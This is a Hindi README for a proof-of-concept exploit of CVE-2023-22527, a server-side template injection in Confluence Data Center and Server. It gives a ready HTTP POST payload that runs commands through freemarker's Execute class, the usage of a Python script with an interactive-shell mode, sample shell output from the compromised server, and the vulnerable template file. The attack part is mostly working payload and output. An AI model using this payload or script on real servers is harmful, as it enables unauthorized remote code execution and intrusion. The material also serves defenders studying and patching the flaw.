
CVE-2023-22527 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Confluence में एक सर्वर-साइड टेम्पलेट इंजेक्शन है और रिमोट कोड निष्पादन को सक्षम बनाता है। इसमें कमांड निष्पादन और इंटरैक्टिव शेल के लिए एक Python स्क्रिप्ट शामिल है।
यह रिपॉजिटरी CVE-2023-22527 का प्रूफ-ऑफ-कॉन्सेप्ट प्रस्तुत करती है
यह कोड भेद्यता का एक प्रूफ ऑफ कॉन्सेप्ट है, मैं किसी को भी इसे उन Confluence इंस्टेंस पर उपयोग करने के लिए प्रोत्साहित नहीं कर रहा हूँ जिनके वे स्वामी नहीं हैं।
यह टूल केवल शोध और शैक्षिक उद्देश्यों के लिए विकसित किया गया है और इसके किसी भी उपयोग के लिए मैं जिम्मेदार नहीं ठहराया जाऊँगा।
CVE-2023-22527 freemarker इंजन में एक सर्वर-साइड टेम्पलेट इंजेक्शन भेद्यता को संदर्भित करता है जो उपयोगकर्ताओं को वेबसर्वर पर कमांड निष्पादित करने की अनुमति देता है।
यहाँ एक उदाहरण पेलोड है
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8092
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"id"}))
$ python3 CVE-2023-22527.py -h
usage: CVE-2023-22527.py [-h] [-u URL] [-c COMMAND] [-i]
This is a POC for CVE-2023-22527 (Confluence SSTI)
options:
-h, --help show this help message and exit
-u URL Url
-c COMMAND Command
-i Interactive mod
python3 CVE-2023-22527.py -u http://127.0.0.1:8092 -i
[DEBUG] Spawning semi-interactive shell ..
$ id
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)
$ whoami
confluence
$ ls -lha
total 128K
drwxr-xr-x 19 confluence confluence 4.0K Jan 23 08:42 .
drwxr-xr-x 1 root root 4.0K Jan 20 16:15 ..
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 analytics-logs
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:40 attachments
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 backups
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 bundled-plugins
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:38 .cache
-rw-r----- 1 confluence confluence 6.1K Jan 23 08:42 confluence.cfg.xml
-rw-r--r-- 1 confluence confluence 1 Jan 23 08:13 docker-app.pid
drwxr-x--- 4 confluence confluence 4.0K Jan 23 08:42 index
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:37 .java
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:43 journal
-rw-r----- 1 confluence confluence 0 Jan 23 08:37 lock
drwxr-x--- 4 confluence confluence 4.0K Jan 23 08:42 log
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:13 logs
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 plugins-cache
drwxr-x--- 5 confluence confluence 4.0K Jan 23 08:37 plugins-osgi-cache
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 plugins-temp
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:42 shared-home
-rw-r----- 1 confluence confluence 860 Jan 23 08:42 synchrony-args.properties
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:40 temp
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:37 viewfile
drwxr-x--- 2 confluence confluence 40K Jan 23 08:46 webresource-temp
भेद्यता नीचे दी गई फ़ाइल में स्थित है: ./confluence/confluence/template/aui/text-inline.vm
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
#set( $labelValue = $parameters.label )
#end
#if (!$parameters.id)
#set( $parameters.id = $parameters.name)
#end
<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
<span class="aui-icon icon-required"></span>
<span class="content">$parameters.required</span>
#end
</label>
#parse("/template/aui/text-include.vm")
Confluence Data Center और Server